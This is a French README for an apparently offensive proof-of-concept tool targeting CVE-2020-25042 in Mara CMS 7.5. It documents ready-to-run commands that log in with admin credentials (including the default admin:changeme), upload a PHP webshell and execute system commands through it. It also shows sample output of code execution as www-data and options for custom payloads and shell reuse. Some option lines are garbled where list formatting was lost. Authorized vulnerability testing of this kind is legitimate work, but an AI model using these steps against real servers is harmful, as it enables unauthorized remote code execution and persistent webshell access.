
PoC pour CVE-2020-25042 : téléchargement automatisé de PHP authentifié vers RCE sur Mara CMS 7.5, avec gestion du hachage de connexion, réutilisation de shell, support de charge utile personnalisée et sortie CLI propre.
Preuve de concept pour CVE-2020-25042, un problème de téléchargement arbitraire de fichiers authentifié dans Mara CMS 7.5 pouvant conduire à une exécution de code à distance.
Le script se connecte avec un compte admin/manager valide de Mara CMS, télécharge une charge utile PHP via codebase/handler.php et exécute des commandes via le fichier téléchargé.
Il réutilise également un shell existant lorsque c'est possible, afin de ne pas créer un nouveau fichier PHP à chaque exécution.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd via le shell téléchargé.Python 3.8+
pip install -r requirements.txt
Paquets Python requis :
requests
urllib3
Les valeurs entre crochets angulaires sont des espaces réservés. Remplacez-les par vos propres valeurs sans inclure les caractères < ou >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Exemple de sortie :
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
Par défaut, le script utilise un nom de shell stable :
mara-poc.php
Lors de l'exécution suivante, il vérifie :
http://target/cms/img/mara-poc.php
Si le shell répond avec le marqueur attendu, le script ignore la connexion et le téléchargement :
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
Pour réutiliser un shell créé avec un nom aléatoire précédent :
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
Vous pouvez également passer directement le chemin du shell exposé :
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Téléchargez la charge utile sans exécuter de commande :
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Page CMS existante utilisée pour amorcer la connexion et extraire shash. Par défaut : lorem.php
--shell-name <NAME>
Nom du fichier PHP à télécharger ou à réutiliser. Par défaut : mara-poc.php
--shell-url-path <PATH_OR_URL>
Chemin ou URL explicite du shell à réutiliser.
Exemple : /cms/img/mara-poc.php
--payload-file <FILE>
Téléchargez une charge utile PHP personnalisée au lieu du shell ?cmd= par défaut.
--destdir <DIR>
Valeur brute destdir envoyée dans le formulaire de téléchargement. Par défaut, laisse Mara CMS utiliser img/.
--force-upload
Toujours se connecter et télécharger, même si un shell réutilisable existe déjà.
--upload-only
Téléchargez la charge utile mais n'exécutez pas --cmd.
--only-final
Masquer les journaux de progression et n'afficher que la sortie de la commande.
--no-color
Désactiver les couleurs ANSI.
--debug
Afficher les URL des requêtes et de courts extraits de réponse du gestionnaire.
admin:changeme sur des installations de test non modifiées.MARA_CVE_2020_25042_OK avant la sortie de la commande.img/.--force-upload uniquement lorsque vous devez écraser ou recréer la charge utile.Cette POC est destinée aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.